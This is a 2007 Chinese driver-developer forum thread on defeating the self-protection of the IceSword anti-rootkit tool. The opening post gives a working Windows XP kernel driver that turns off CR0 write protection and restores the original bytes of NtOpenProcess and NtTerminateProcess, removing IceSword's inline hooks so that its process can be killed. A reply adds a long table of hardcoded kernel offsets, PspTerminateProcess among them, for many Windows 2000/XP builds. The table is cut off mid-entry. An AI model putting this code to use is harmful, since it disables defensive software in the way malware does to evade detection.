znsoft
管理员
管理员
  • 注册日期2001-03-23
  • 最后登录2023-10-25
  • 粉丝300
  • 关注6
  • 积分910分
  • 威望14796点
  • 贡献值7点
  • 好评度2410点
  • 原创分5分
  • 专家分100分
  • 社区居民
  • 最爱沙发
  • 社区明星
阅读:12628回复:44

突破IceSword自身的进程保护 [ 2006/12/17 17:19 | by xyzreg ]

楼主#
更多 发布于:2007-01-12 09:37
  IceSword的驱动对其自身进程做了保护,使恶意程序终止不了他。IceSword没有用HOOK SSDT的方法,不过也没用什么太BT的方法,而是Inline Hook了NtOpenProcess、NtTerminateProcess几个函数,即修改函数前5个字节,jmp到他自定义处理函数例程里。

终止采用这类保护方法的进程,可以使用暴力的PspTerminateProcess方法,PspTerminateProcess函数未导出,需要我们自己穷举特征码搜索来定位,或者硬编码之。当然,我们还可以恢复IceSword的Inline hook,还原被IceSword挂钩过的NtOpenProcess、NtTerminateProcess函数,然后在用户态上使用普通的终止进程的方法就可以终止他了。这里给出了第二中方法的具体代码,不过由于此篇文章出于科普目的,代码就写得马虎点了,仅适用于Windows XP,因为取SSDT对应的函数索引号用的硬编码,说明问题而已。NtTerminateProcess未导出,大家可以自己改成通过读取ntdll.dll动态通用的获得索引号的方法,方法网上有公开,需要的人就自己动点手吧,呵呵~



#include <ntddk.h>

#define DWORD unsigned long

unsigned char OldCode[5]="\x68\xc4\x00\x00\x00";
unsigned char OldCode2[5]="\x8b\xff\x55\x8b\xec";

#pragma pack(1)
typedef struct ServiceDescriptorEntry {
 unsigned int *ServiceTableBase;
 unsigned int *ServiceCounterTableBase;
 unsigned int NumberOfServices;
 unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()

__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
 DWORD OpAddr,OpAddr2;

 OpAddr=*(KeServiceDescriptorTable.ServiceTableBase + 0x7A);
 OpAddr2=*(KeServiceDescriptorTable.ServiceTableBase + 0x101);

 _asm
 {
   CLI            
   MOV   eax, CR0    
   AND eax, NOT 10000H
   MOV   CR0, eax

   pushad
   mov edi, OpAddr
   mov eax, dword ptr OldCode[0]
   mov [edi], eax
   mov al, byte ptr OldCode[4]
   mov [edi+4], al
   mov edi, OpAddr2
   mov eax, dword ptr OldCode2[0]
   mov [edi], eax
   mov al, byte ptr OldCode2[4]
   mov [edi+4], al
   popad

   MOV   eax, CR0
   OR   eax, 10000H
   MOV   CR0, eax
   STI
 }
          
 return STATUS_SUCCESS;
}

最新喜欢:

yiziliyizili always586always...
http://www.zndev.com 免费源码交换网 ----------------------------- 软件创造价值,驱动提供力量! 淡泊以明志,宁静以致远。 ---------------------------------- 勤用搜索,多查资料,先搜再问。
WQXNETQIQI
驱动大牛
驱动大牛
  • 注册日期2006-06-12
  • 最后登录2010-10-26
  • 粉丝0
  • 关注0
  • 积分13分
  • 威望1076点
  • 贡献值0点
  • 好评度895点
  • 原创分1分
  • 专家分0分
沙发#
发布于:2007-01-12 09:50
哎,搜索法在多平台上问题太多了
驱动开发者 呵呵
tohide
驱动牛犊
驱动牛犊
  • 注册日期2006-08-29
  • 最后登录2007-06-21
  • 粉丝0
  • 关注0
  • 积分250分
  • 威望26点
  • 贡献值0点
  • 好评度25点
  • 原创分0分
  • 专家分0分
板凳#
发布于:2007-01-12 09:57
这文章网上一大把,关键是PspTerminateProcess这种方法没有看到具体怎么弄。好不容易找到reactos及psdelete的关系太复杂了,一时半会儿弄不清楚头绪。穷举特征码搜索来定位,或者硬编码也许才是贴出这篇文章应该解决的哦。不过还是谢谢了
wangjianfeng
驱动小牛
驱动小牛
  • 注册日期2004-05-28
  • 最后登录2013-10-02
  • 粉丝0
  • 关注0
  • 积分1002分
  • 威望263点
  • 贡献值0点
  • 好评度260点
  • 原创分0分
  • 专家分0分
地板#
发布于:2007-01-12 10:59
不错.
kxsystem
驱动牛犊
驱动牛犊
  • 注册日期2006-11-25
  • 最后登录2011-08-29
  • 粉丝0
  • 关注0
  • 积分9分
  • 威望56点
  • 贡献值0点
  • 好评度48点
  • 原创分0分
  • 专家分0分
地下室#
发布于:2007-01-12 13:25
希望不要被病毒/木马作者利用
wowocock
VIP专家组
VIP专家组
  • 注册日期2002-04-08
  • 最后登录2016-01-09
  • 粉丝16
  • 关注2
  • 积分601分
  • 威望1651点
  • 贡献值1点
  • 好评度1227点
  • 原创分1分
  • 专家分0分
5楼#
发布于:2007-01-12 18:50
看到了就再往深层HOOK,反正前面的路还长着呢......
花开了,然后又会凋零,星星是璀璨的,可那光芒也会消失。在这样 一瞬间,人降生了,笑者,哭着,战斗,伤害,喜悦,悲伤憎恶,爱。一切都只是刹那间的邂逅,而最后都要归入死亡的永眠
xyzreg
驱动小牛
驱动小牛
  • 注册日期2005-06-20
  • 最后登录2009-12-06
  • 粉丝0
  • 关注0
  • 积分294分
  • 威望173点
  • 贡献值0点
  • 好评度164点
  • 原创分0分
  • 专家分0分
6楼#
发布于:2007-01-12 19:30
引用第2楼tohide2007-01-12 09:57发表的“”:
这文章网上一大把,关键是PspTerminateProcess这种方法没有看到具体怎么弄。好不容易找到reactos及psdelete的关系太复杂了,一时半会儿弄不清楚头绪。穷举特征码搜索来定位,或者硬编码也许才是贴出这篇文章应该解决的哦。不过还是谢谢了

给你这个吧, PspTerminateProcess的硬编码~  基本够用了

/*******************************************/
/* Internal data                                                  */
/*******************************************/

static NTUNDOC_OSVERSION g_aOsVersion[] =
  {
    {
      TEXT("ntkrnlpa 5.00.2195.1 (polish)"),
      TEXT("384D5A86189E80"),
      {
        .NtCreateProcess           = (void*) 0x000DEE96,
        .NtCreateProcessEx         = NULL,
        .NtCreateSection           = (void*) 0x000C6DCA,
        .NtTerminateProcess        = (void*) 0x000DFCA6,
        .NtQueryInformationFile    = (void*) 0x000A685A,
        .NtQueryKey                = (void*) 0x0010EB36,
        .NtQueryValueKey           = (void*) 0x0010EDCC,
        .NtSetInformationFile      = (void*) 0x000A6EA8,
        .NtSetValueKey             = (void*) 0x0010F45E,
        .ObpFreeObject             = (void*) 0x000D548E,
        .PspTerminateProcess       = (void*) 0x000DFE28,
        .swprintf                  = (void*) 0x0005EC20,
        .ZwOpenProcess             = (void*) 0x0002E094,
        .ZwProtectVirtualMemory    = (void*) 0x0002E164,
        .ZwReadVirtualMemory       = (void*) 0x0002E434,
      }
    },
    {
      TEXT("ntoskrnl 5.00.2195.1 (polish)"),
      TEXT("384D9B17190F40"),
      {
        .NtCreateProcess           = (void*) 0x000AD948,
        .NtCreateProcessEx         = NULL,
        .NtCreateSection           = (void*) 0x000AEFF6,
        .NtTerminateProcess        = (void*) 0x000A2FAC,
        .NtQueryInformationFile    = (void*) 0x000AE525,
        .NtQueryKey                = (void*) 0x0009923A,
        .NtQueryValueKey           = (void*) 0x0009A077,
        .NtSetInformationFile      = (void*) 0x000C1308,
        .NtSetValueKey             = (void*) 0x000B8D90,
        .ObpFreeObject             = (void*) 0x00095B7F,
        .PspTerminateProcess       = (void*) 0x000FB3EB,
        .swprintf                  = (void*) 0x0005DEE2,
        .ZwOpenProcess             = (void*) 0x00000E5A,
        .ZwProtectVirtualMemory    = (void*) 0x00000F2A,
        .ZwReadVirtualMemory       = (void*) 0x000011FA,
      }
    },
    {
      TEXT("ntkrnlpa 5.00.2195.6717"),
      TEXT("3EE650C919E740"),
      {
        .NtCreateProcess           = (void*) 0x000E29A6,
        .NtCreateProcessEx         = NULL,
        .NtCreateSection           = (void*) 0x000C9F3E,
        .NtTerminateProcess        = (void*) 0x000E3A0E,
        .NtQueryInformationFile    = (void*) 0x000A9DD6,
        .NtQueryKey                = (void*) 0x001133AC,
        .NtQueryValueKey           = (void*) 0x00113642,
        .NtSetInformationFile      = (void*) 0x000AA424,
        .NtSetValueKey             = (void*) 0x00113CD4,
        .ObpFreeObject             = (void*) 0x000D8A1E,
        .PspTerminateProcess       = (void*) 0x000E3B90,
        .swprintf                  = (void*) 0x00062890,
        .ZwOpenProcess             = (void*) 0x0002EA60,
        .ZwProtectVirtualMemory    = (void*) 0x0002EB30,
        .ZwReadVirtualMemory       = (void*) 0x0002EE00,
      }
    },
    {
      TEXT("ntoskrnl 5.00.2195.6717"),
      TEXT("3EE6C0021A47C0"),
      {
        .NtCreateProcess           = (void*) 0x000A9212,
        .NtCreateProcessEx         = NULL,
        .NtCreateSection           = (void*) 0x0009F7F1,
        .NtTerminateProcess        = (void*) 0x000A9BF3,
        .NtQueryInformationFile    = (void*) 0x000987C1,
        .NtQueryKey                = (void*) 0x000B2FC0,
        .NtQueryValueKey           = (void*) 0x000B3138,
        .NtSetInformationFile      = (void*) 0x00098C08,
        .NtSetValueKey             = (void*) 0x000B32F4,
        .ObpFreeObject             = (void*) 0x000A6852,
        .PspTerminateProcess       = (void*) 0x000FBDBA,
        .swprintf                  = (void*) 0x00061E42,
        .ZwOpenProcess             = (void*) 0x00000EDA,
        .ZwProtectVirtualMemory    = (void*) 0x00000FAA,
        .ZwReadVirtualMemory       = (void*) 0x0000127A,
      }
    },
    {
      TEXT("ntkrnlpa 5.00.2195.7045 (1)"),
      TEXT("427B58D31A2D40"),
      {
        .NtCreateProcess           = (void*) 0x000E620C,
        .NtCreateProcessEx         = NULL,
        .NtCreateSection           = (void*) 0x000CEB84,
        .NtTerminateProcess        = (void*) 0x000E7274,
        .NtQueryInformationFile    = (void*) 0x000AC5F2,
        .NtQueryKey                = (void*) 0x0011760C,
        .NtQueryValueKey           = (void*) 0x001178A2,
        .NtSetInformationFile      = (void*) 0x000ACC78,
        .NtSetValueKey             = (void*) 0x00117F34,
        .ObpFreeObject             = (void*) 0x000DBC98,
        .PspTerminateProcess       = (void*) 0x000E73F6,
        .swprintf                  = (void*) 0x000646F0,
        .ZwOpenProcess             = (void*) 0x0002FF24,
        .ZwProtectVirtualMemory    = (void*) 0x0002FFF4,
        .ZwReadVirtualMemory       = (void*) 0x000302C4,
      }
    },
    {
      TEXT("ntkrnlpa 5.00.2195.7045 (2)"),
      TEXT("427B58D31C7C00"),
      {
        .NtCreateProcess           = (void*) 0x000E620C,
        .NtCreateProcessEx         = NULL,
        .NtCreateSection           = (void*) 0x000CEB84,
        .NtTerminateProcess        = (void*) 0x000E7274,
        .NtQueryInformationFile    = (void*) 0x000AC5F2,
        .NtQueryKey                = (void*) 0x0011760C,
        .NtQueryValueKey           = (void*) 0x001178A2,
        .NtSetInformationFile      = (void*) 0x000ACC78,
        .NtSetValueKey             = (void*) 0x00117F34,
        .ObpFreeObject             = (void*) 0x000DBC98,
        .PspTerminateProcess       = (void*) 0x000E73F6,
        .swprintf                  = (void*) 0x000646F0,
        .ZwOpenProcess             = (void*) 0x0002FF24,
        .ZwProtectVirtualMemory    = (void*) 0x0002FFF4,
        .ZwReadVirtualMemory       = (void*) 0x000302C4,
      }
    },
    {
      TEXT("ntoskrnl 5.00.2195.7045 (1)"),
      TEXT("427B58BB19D400"),
      {
        .NtCreateProcess           = (void*) 0x000E20BE,
        .NtCreateProcessEx         = NULL,
        .NtCreateSection           = (void*) 0x000CAF6C,
        .NtTerminateProcess        = (void*) 0x000E3126,
        .NtQueryInformationFile    = (void*) 0x000A8B72,
        .NtQueryKey                = (void*) 0x001134BE,
        .NtQueryValueKey           = (void*) 0x00113754,
        .NtSetInformationFile      = (void*) 0x000A91F8,
        .NtSetValueKey             = (void*) 0x00113DE6,
        .ObpFreeObject             = (void*) 0x000D7B4A,
        .PspTerminateProcess       = (void*) 0x000E32A8,
        .swprintf                  = (void*) 0x00061450,
        .ZwOpenProcess             = (void*) 0x0002FEF4,
        .ZwProtectVirtualMemory    = (void*) 0x0002FFC4,
        .ZwReadVirtualMemory       = (void*) 0x00030294,
      }
    },
    {
      TEXT("ntoskrnl 5.00.2195.7045 (2)"),
      TEXT("427B58BB1C22C0"),
      {
        .NtCreateProcess           = (void*) 0x000E20BE,
        .NtCreateProcessEx         = NULL,
        .NtCreateSection           = (void*) 0x000CAF6C,
        .NtTerminateProcess        = (void*) 0x000E3126,
        .NtQueryInformationFile    = (void*) 0x000A8B72,
        .NtQueryKey                = (void*) 0x001134BE,
        .NtQueryValueKey           = (void*) 0x00113754,
        .NtSetInformationFile      = (void*) 0x000A91F8,
        .NtSetValueKey             = (void*) 0x00113DE6,
        .ObpFreeObject             = (void*) 0x000D7B4A,
        .PspTerminateProcess       = (void*) 0x000E32A8,
        .swprintf                  = (void*) 0x00061450,
        .ZwOpenProcess             = (void*) 0x0002FEF4,
        .ZwProtectVirtualMemory    = (void*) 0x0002FFC4,
        .ZwReadVirtualMemory       = (void*) 0x00030294,
      }
    },
    {
      TEXT("ntkrpamp 5.00.2195.7098"),
      TEXT("4492581F1A7C80"),
      {
        .NtCreateProcess           = (void*) 0x000EA984,
        .NtCreateProcessEx         = NULL,
        .NtCreateSection           = (void*) 0x000D326A,
        .NtTerminateProcess        = (void*) 0x000EB9EE,
        .NtQueryInformationFile    = (void*) 0x000B0D78,
        .NtQueryKey                = (void*) 0x0011BDD8,
        .NtQueryValueKey           = (void*) 0x0011C06E,
        .NtSetInformationFile      = (void*) 0x000B13F0,
        .NtSetValueKey             = (void*) 0x0011C700,
        .ObpFreeObject             = (void*) 0x000E0408,
        .PspTerminateProcess       = (void*) 0x000EBB70,
        .swprintf                  = (void*) 0x00067290,
        .ZwOpenProcess             = (void*) 0x00031C50,
        .ZwProtectVirtualMemory    = (void*) 0x00031D20,
        .ZwReadVirtualMemory       = (void*) 0x00031FF0,
      }
    },
    {
      TEXT("ntkrnlpa 5.00.2195.7098 (english)"),
      TEXT("4492581F1A2580"),
      {
        .NtCreateProcess           = (void*) 0x000E6346,
        .NtCreateProcessEx         = NULL,
        .NtCreateSection           = (void*) 0x000CECB2,
        .NtTerminateProcess        = (void*) 0x000E73AE,
        .NtQueryInformationFile    = (void*) 0x000AC72E,
        .NtQueryKey                = (void*) 0x00117744,
        .NtQueryValueKey           = (void*) 0x001179DA,
        .NtSetInformationFile      = (void*) 0x000ACDB4,
        .NtSetValueKey             = (void*) 0x0011806C,
        .ObpFreeObject             = (void*) 0x000DBDCA,
        .PspTerminateProcess       = (void*) 0x000E7530,
        .swprintf                  = (void*) 0x00064770,
        .ZwOpenProcess             = (void*) 0x0002FF30,
        .ZwProtectVirtualMemory    = (void*) 0x00030000,
        .ZwReadVirtualMemory       = (void*) 0x000302D0,
      }
    },
    {
      TEXT("ntkrnlpa 5.00.2195.7098 (italian)"),
      TEXT("4492581F1C7D00"),
      {
        .NtCreateProcess           = (void*) 0x000E6346,
        .NtCreateProcessEx         = NULL,
        .NtCreateSection           = (void*) 0x000CECB2,
        .NtTerminateProcess        = (void*) 0x000E73AE,
        .NtQueryInformationFile    = (void*) 0x000AC72E,
        .NtQueryKey                = (void*) 0x00117744,
        .NtQueryValueKey           = (void*) 0x001179DA,
        .NtSetInformationFile      = (void*) 0x000ACDB4,
        .NtSetValueKey             = (void*) 0x0011806C,
        .ObpFreeObject             = (void*) 0x000DBDCA,
        .PspTerminateProcess       = (void*) 0x000E7530,
        .swprintf                  = (void*) 0x00064770,
        .ZwOpenProcess             = (void*) 0x0002FF30,
        .ZwProtectVirtualMemory    = (void*) 0x00030000,
        .ZwReadVirtualMemory       = (void*) 0x000302D0,
      }
    },
    {
      TEXT("ntoskrnl 5.00.2195.7098 (english)"),
      TEXT("4492580919CD00"),
      {
        .NtCreateProcess           = (void*) 0x000E2264,
        .NtCreateProcessEx         = NULL,
        .NtCreateSection           = (void*) 0x000CB10E,
        .NtTerminateProcess        = (void*) 0x000E32CC,
        .NtQueryInformationFile    = (void*) 0x000A8D2E,
        .NtQueryKey                = (void*) 0x0011366E,
        .NtQueryValueKey           = (void*) 0x00113904,
        .NtSetInformationFile      = (void*) 0x000A93B4,
        .NtSetValueKey             = (void*) 0x00113F96,
        .ObpFreeObject             = (void*) 0x000D7CE8,
        .PspTerminateProcess       = (void*) 0x000E344E,
        .swprintf                  = (void*) 0x000614D0,
        .ZwOpenProcess             = (void*) 0x0002FF04,
        .ZwProtectVirtualMemory    = (void*) 0x0002FFD4,
        .ZwReadVirtualMemory       = (void*) 0x000302A4,
      }
    },
    {
      TEXT("ntoskrnl 5.00.2195.7098 (italian)"),
      TEXT("449258091C2480"),
      {
        .NtCreateProcess           = (void*) 0x000E2264,
        .NtCreateProcessEx         = NULL,
        .NtCreateSection           = (void*) 0x000CB10E,
        .NtTerminateProcess        = (void*) 0x000E32CC,
        .NtQueryInformationFile    = (void*) 0x000A8D2E,
        .NtQueryKey                = (void*) 0x0011366E,
        .NtQueryValueKey           = (void*) 0x00113904,
        .NtSetInformationFile      = (void*) 0x000A93B4,
        .NtSetValueKey             = (void*) 0x00113F96,
        .ObpFreeObject             = (void*) 0x000D7CE8,
        .PspTerminateProcess       = (void*) 0x000E344E,
        .swprintf                  = (void*) 0x000614D0,
        .ZwOpenProcess             = (void*) 0x0002FF04,
        .ZwProtectVirtualMemory    = (void*) 0x0002FFD4,
        .ZwReadVirtualMemory       = (void*) 0x000302A4,
      }
    },
    {
      TEXT("ntkrnlmp 5.00.2195.7098"),
      TEXT("449258091A2940"),
      {
        .NtCreateProcess           = (void*) 0x000E6C02,
        .NtCreateProcessEx         = NULL,
        .NtCreateSection           = (void*) 0x000CFA40,
        .NtTerminateProcess        = (void*) 0x000E7C6C,
        .NtQueryInformationFile    = (void*) 0x000AD6B8,
        .NtQueryKey                = (void*) 0x00118056,
        .NtQueryValueKey           = (void*) 0x001182EC,
        .NtSetInformationFile      = (void*) 0x000ADD30,
        .NtSetValueKey             = (void*) 0x0011897E,
        .ObpFreeObject             = (void*) 0x000DC686,
        .PspTerminateProcess       = (void*) 0x000E7DEE,
        .swprintf                  = (void*) 0x00064300,
        .ZwOpenProcess             = (void*) 0x00031B20,
        .ZwProtectVirtualMemory    = (void*) 0x00031BF0,
        .ZwReadVirtualMemory       = (void*) 0x00031EC0,
      }
    },
    {
      TEXT("ntkrnlpa 5.00.2195.7111"),
      TEXT("45069E861C7D00"),
      {
        .NtCreateProcess           = (void*) 0x000E6346,
        .NtCreateProcessEx         = NULL,
        .NtCreateSection           = (void*) 0x000CECB2,
        .NtTerminateProcess        = (void*) 0x000E73AE,
        .NtQueryInformationFile    = (void*) 0x000AC72E,
        .NtQueryKey                = (void*) 0x00117748,
        .NtQueryValueKey           = (void*) 0x001179DE,
        .NtSetInformationFile      = (void*) 0x000ACDB4,
        .NtSetValueKey             = (void*) 0x00118070,
        .ObpFreeObject             = (void*) 0x000DBDCA,
        .PspTerminateProcess       = (void*) 0x000E7530,
        .swprintf                  = (void*) 0x00064770,
        .ZwOpenProcess             = (void*) 0x0002FF30,
        .ZwProtectVirtualMemory    = (void*) 0x00030000,
        .ZwReadVirtualMemory       = (void*) 0x000302D0,
      }
    },
    {
      TEXT("ntoskrnl 5.00.2195.7111"),
      TEXT("45069E6E1C2480"),
      {
        .NtCreateProcess           = (void*) 0x000E2264,
        .NtCreateProcessEx         = NULL,
        .NtCreateSection           = (void*) 0x000CB10E,
        .NtTerminateProcess        = (void*) 0x000E32CC,
        .NtQueryInformationFile    = (void*) 0x000A8D2E,
        .NtQueryKey                = (void*) 0x00113672,
        .NtQueryValueKey           = (void*) 0x00113908,
        .NtSetInformationFile      = (void*) 0x000A93B4,
        .NtSetValueKey             = (void*) 0x00113F9A,
        .ObpFreeObject             = (void*) 0x000D7CE8,
        .PspTerminateProcess       = (void*) 0x000E344E,
        .swprintf                  = (void*) 0x000614D0,
        .ZwOpenProcess             = (void*) 0x0002FF00,
        .ZwProtectVirtualMemory    = (void*) 0x0002FFD0,
        .ZwReadVirtualMemory       = (void*) 0x000302A0,
      }
    },
    {
      TEXT("ntkrnlpa 5.1.2600.0 (xpclient.010817-1148)"),
      TEXT("0ABB7E73C24942C6A610FDB19159E3CC1"),
      {
        .NtCreateProcess           = (void*) 0x000D90DE,
        .NtCreateProcessEx         = (void*) 0x000D9036,
        .NtCreateSection           = (void*) 0x000B36D0,
        .NtTerminateProcess        = (void*) 0x000DA28C,
        .NtQueryInformationFile    = (void*) 0x00086096,
        .NtQueryKey                = (void*) 0x00127F7E,
        .NtQueryValueKey           = (void*) 0x00124D76,
        .NtSetInformationFile      = (void*) 0x00086686,
        .NtSetValueKey             = (void*) 0x0012533A,
        .ObpFreeObject             = (void*) 0x000C9708,
        .PspTerminateProcess       = (void*) 0x000DA3FE,
        .swprintf                  = (void*) 0x00056070,
        .ZwOpenProcess             = (void*) 0x000241D8,
        .ZwProtectVirtualMemory    = (void*) 0x00024304,
        .ZwReadVirtualMemory       = (void*) 0x000246D8,
      }
    },
    {
      TEXT("ntoskrnl 5.1.2600.0 (xpclient.010817-1148)"),
      TEXT("DA37FCA19A614EB98EE2A3CF30E625392"),
      {
        .NtCreateProcess           = (void*) 0x000CA61D,
        .NtCreateProcessEx         = (void*) 0x000B0346,
        .NtCreateSection           = (void*) 0x000A11D5,
        .NtTerminateProcess        = (void*) 0x0009C6DC,
        .NtQueryInformationFile    = (void*) 0x000A6210,
        .NtQueryKey                = (void*) 0x0008B86B,
        .NtQueryValueKey           = (void*) 0x000A5D81,
        .NtSetInformationFile      = (void*) 0x000B181D,
        .NtSetValueKey             = (void*) 0x00093215,
        .ObpFreeObject             = (void*) 0x000A0975,
        .PspTerminateProcess       = (void*) 0x00136477,
        .swprintf                  = (void*) 0x00021D42,
        .ZwOpenProcess             = (void*) 0x0003B7EE,
        .ZwProtectVirtualMemory    = (void*) 0x0003B91A,
        .ZwReadVirtualMemory       = (void*) 0x0003BCEE,
      }
    },
    {
      TEXT("ntkrnlpa 5.1.2600.31 (xpclnt_qfe.010827-1803)"),
      TEXT("80423993DFF1461BB91D5B2FF59D15604"),
      {
        .NtCreateProcess           = (void*) 0x000D9934,
        .NtCreateProcessEx         = (void*) 0x000D988C,
        .NtCreateSection           = (void*) 0x000B3E3A,
        .NtTerminateProcess        = (void*) 0x000DAAF0,
        .NtQueryInformationFile    = (void*) 0x0008680A,
        .NtQueryKey                = (void*) 0x001283B2,
        .NtQueryValueKey           = (void*) 0x001251AA,
        .NtSetInformationFile      = (void*) 0x00086DFA,
        .NtSetValueKey             = (void*) 0x0012576E,
        .ObpFreeObject             = (void*) 0x000C9F5E,
        .PspTerminateProcess       = (void*) 0x000DAC62,
        .swprintf                  = (void*) 0x000560B0,
        .ZwOpenProcess             = (void*) 0x00024208,
        .ZwProtectVirtualMemory    = (void*) 0x00024334,
        .ZwReadVirtualMemory       = (void*) 0x00024708,
      }
    },
    {
      TEXT("ntoskrnl 5.1.2600.31 (xpclnt_qfe.010827-1803)"),
      TEXT("A6C32BE0B0FD4CE7B42CF7C11D3214FC4"),
      {
        .NtCreateProcess           = (void*) 0x000D40C2,
        .NtCreateProcessEx         = (void*) 0x000D401A,
        .NtCreateSection           = (void*) 0x000AF04E,
        .NtTerminateProcess        = (void*) 0x000D5262,
        .NtQueryInformationFile    = (void*) 0x00081B8C,
        .NtQueryKey                = (void*) 0x00122B38,
        .NtQueryValueKey           = (void*) 0x0011F930,
        .NtSetInformationFile      = (void*) 0x0008217C,
        .NtSetValueKey             = (void*) 0x0011FEF4,
        .ObpFreeObject             = (void*) 0x000C46F4,
        .PspTerminateProcess       = (void*) 0x000D53D4,
        .swprintf                  = (void*) 0x000532E0,
        .ZwOpenProcess             = (void*) 0x00024168,
        .ZwProtectVirtualMemory    = (void*) 0x00024294,
        .ZwReadVirtualMemory       = (void*) 0x00024668,
      }
    },
    {
      TEXT("ntkrnlpa 5.1.2600.34 (xpclnt_qfe.010827-1803)"),
      TEXT("80423993DFF1461BB91D5B2FF59D15607"),
      {
        .NtCreateProcess           = (void*) 0x000D9834,
        .NtCreateProcessEx         = (void*) 0x000D978C,
        .NtCreateSection           = (void*) 0x000B3D42,
        .NtTerminateProcess        = (void*) 0x000DA9D4,
        .NtQueryInformationFile    = (void*) 0x0008670C,
        .NtQueryKey                = (void*) 0x001282BA,
        .NtQueryValueKey           = (void*) 0x001250B2,
        .NtSetInformationFile      = (void*) 0x00086CFC,
        .NtSetValueKey             = (void*) 0x00125676,
        .ObpFreeObject             = (void*) 0x000C9E66,
        .PspTerminateProcess       = (void*) 0x000DAB46,
        .swprintf                  = (void*) 0x000560B0,
        .ZwOpenProcess             = (void*) 0x00024208,
        .ZwProtectVirtualMemory    = (void*) 0x00024334,
        .ZwReadVirtualMemory       = (void*) 0x00024708,
      }
    },
    {
      TEXT("ntoskrnl 5.1.2600.34 (xpclnt_qfe.010827-1803)"),
      TEXT("A6C32BE0B0FD4CE7B42CF7C11D3214FC7"),
      {
        .NtCreateProcess           = (void*) 0x000D404A,
        .NtCreateProcessEx         = (void*) 0x000D3FA2,
        .NtCreateSection           = (void*) 0x000AEFCA,
        .NtTerminateProcess        = (void*) 0x000D51EA,
        .NtQueryInformationFile    = (void*) 0x00081B08,
        .NtQueryKey                = (void*) 0x00122ABA,
        .NtQueryValueKey           = (void*) 0x0011F8B2,
        .NtSetInformationFile      = (void*) 0x000820F8,
        .NtSetValueKey             = (void*) 0x0011FE76,
        .ObpFreeObject             = (void*) 0x000C4670,
        .PspTerminateProcess       = (void*) 0x000D535C,
        .swprintf                  = (void*) 0x000532E0,
        .ZwOpenProcess             = (void*) 0x00024168,
        .ZwProtectVirtualMemory    = (void*) 0x00024294,
        .ZwReadVirtualMemory       = (void*) 0x00024668,
      }
    },
    {
      TEXT("ntkrnlpa 5.1.2600.115 (xpclnt_qfe.021108-2107)"),
      TEXT("E086B943FAE142BEBD7E5F280ADF14587"),
      {
        .NtCreateProcess           = (void*) 0x000D97D4,
        .NtCreateProcessEx         = (void*) 0x000D972C,
        .NtCreateSection           = (void*) 0x000B3CF6,
        .NtTerminateProcess        = (void*) 0x000DA974,
        .NtQueryInformationFile    = (void*) 0x0008670C,
        .NtQueryKey                = (void*) 0x0012822A,
        .NtQueryValueKey           = (void*) 0x00125022,
        .NtSetInformationFile      = (void*) 0x00086CFC,
        .NtSetValueKey             = (void*) 0x001255E6,
        .ObpFreeObject             = (void*) 0x000C9E1A,
        .PspTerminateProcess       = (void*) 0x000DAAE6,
        .swprintf                  = (void*) 0x000560A0,
        .ZwOpenProcess             = (void*) 0x000241B0,
        .ZwProtectVirtualMemory    = (void*) 0x000242DC,
        .ZwReadVirtualMemory       = (void*) 0x000246B0,
      }
    },
    {
      TEXT("ntoskrnl 5.1.2600.115 (xpclnt_qfe.021108-2107)"),
      TEXT("15317AB7420A427FB0CD6DEFE09530A37"),
      {
        .NtCreateProcess           = (void*) 0x000D4062,
        .NtCreateProcessEx         = (void*) 0x000D3FBA,
        .NtCreateSection           = (void*) 0x000AF006,
        .NtTerminateProcess        = (void*) 0x000D5210,
        .NtQueryInformationFile    = (void*) 0x00081B94,
        .NtQueryKey                = (void*) 0x00122AAA,
        .NtQueryValueKey           = (void*) 0x0011F8A2,
        .NtSetInformationFile      = (void*) 0x00082184,
        .NtSetValueKey             = (void*) 0x0011FE66,
        .ObpFreeObject             = (void*) 0x000C46AC,
        .PspTerminateProcess       = (void*) 0x000D5382,
        .swprintf                  = (void*) 0x00053320,
        .ZwOpenProcess             = (void*) 0x00024128,
        .ZwProtectVirtualMemory    = (void*) 0x00024254,
        .ZwReadVirtualMemory       = (void*) 0x00024628,
      }
    },
    {
      TEXT("ntkrnlpa 5.1.2600.1106 (xpsp1.020828-1920)"),
      TEXT("EBC8148525684CCEBF8D3491B68F67211"),
      {
        .NtCreateProcess           = (void*) 0x000DCD3C,
        .NtCreateProcessEx         = (void*) 0x000DCC94,
        .NtCreateSection           = (void*) 0x000B6D42,
        .NtTerminateProcess        = (void*) 0x000DE3A6,
        .NtQueryInformationFile    = (void*) 0x0008909A,
        .NtQueryKey                = (void*) 0x0012BAC6,
        .NtQueryValueKey           = (void*) 0x001288C0,
        .NtSetInformationFile      = (void*) 0x0008968A,
        .NtSetValueKey             = (void*) 0x00128E84,
        .ObpFreeObject             = (void*) 0x000CD280,
        .PspTerminateProcess       = (void*) 0x000DE518,
        .swprintf                  = (void*) 0x00057350,
        .ZwOpenProcess             = (void*) 0x00024C84,
        .ZwProtectVirtualMemory    = (void*) 0x00024DB0,
        .ZwReadVirtualMemory       = (void*) 0x00025184,
      }
    },
    {
      TEXT("ntoskrnl 5.1.2600.1106 (xpsp1.020828-1920)"),
      TEXT("C95EC79CFBFB4220AF2B6E9D09551A1F2"),
      {
        .NtCreateProcess           = (void*) 0x000DA8B3,
        .NtCreateProcessEx         = (void*) 0x000BC950,
        .NtCreateSection           = (void*) 0x000ABB92,
        .NtTerminateProcess        = (void*) 0x000BDC32,
        .NtQueryInformationFile    = (void*) 0x000B0514,
        .NtQueryKey                = (void*) 0x0009F460,
        .NtQueryValueKey           = (void*) 0x000AF3FB,
        .NtSetInformationFile      = (void*) 0x000BE589,
        .NtSetValueKey             = (void*) 0x0009E2DC,
        .ObpFreeObject             = (void*) 0x000AB072,
        .PspTerminateProcess       = (void*) 0x000F1EC6,
        .swprintf                  = (void*) 0x00023783,
        .ZwOpenProcess             = (void*) 0x0003B280,
        .ZwProtectVirtualMemory    = (void*) 0x0003B348,
        .ZwReadVirtualMemory       = (void*) 0x00064F44,
      }
    },
    {
      TEXT("ntkrnlpa 5.1.2600.1149 (xpsp2.021108-1929)"),
      TEXT("6DE07FC8872C47D5B22D20387B7F44275"),
      {
        .NtCreateProcess           = (void*) 0x000DCE96,
        .NtCreateProcessEx         = (void*) 0x000DCDEE,
        .NtCreateSection           = (void*) 0x000B6EC2,
        .NtTerminateProcess        = (void*) 0x000DE500,
        .NtQueryInformationFile    = (void*) 0x0008921A,
